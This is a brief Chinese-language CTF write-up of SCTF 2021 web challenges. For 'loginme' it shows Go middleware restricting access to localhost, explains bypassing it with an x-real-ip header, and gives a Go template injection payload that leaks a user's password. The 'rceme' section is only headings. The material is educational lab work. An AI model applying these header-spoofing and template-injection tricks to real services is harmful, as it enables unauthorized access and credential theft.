[NSSCTF][SCTF 2021]WEB复现

感谢NSSCTF提供复现环境

loginme

middleware.go

package middleware

import (
	"github.com/gin-gonic/gin"
)

func LocalRequired() gin.HandlerFunc {
	return func(c *gin.Context) {
		if c.GetHeader("x-forwarded-for") != "" || c.GetHeader("x-client-ip") != "" {
			c.AbortWithStatus(403)
			return
		}
		ip := c.ClientIP()
		if ip == "127.0.0.1" {
			c.Next()
		} else {
			c.AbortWithStatus(401)
		}
	}
}

route.go

	age := TargetUser.Age
	if age == "" {
		age, flag = c.GetQuery("age")
		if !flag {
			age = "forever 18 (Tell me the age)"
		}
	}

x-forwarded-for 和 x-client-ip都被ban了，用 x-real-ip绕过检测

接下来是go的模板注入

?id=0&age={{.Password}}

rceme

• 无参rce

• bypass disable function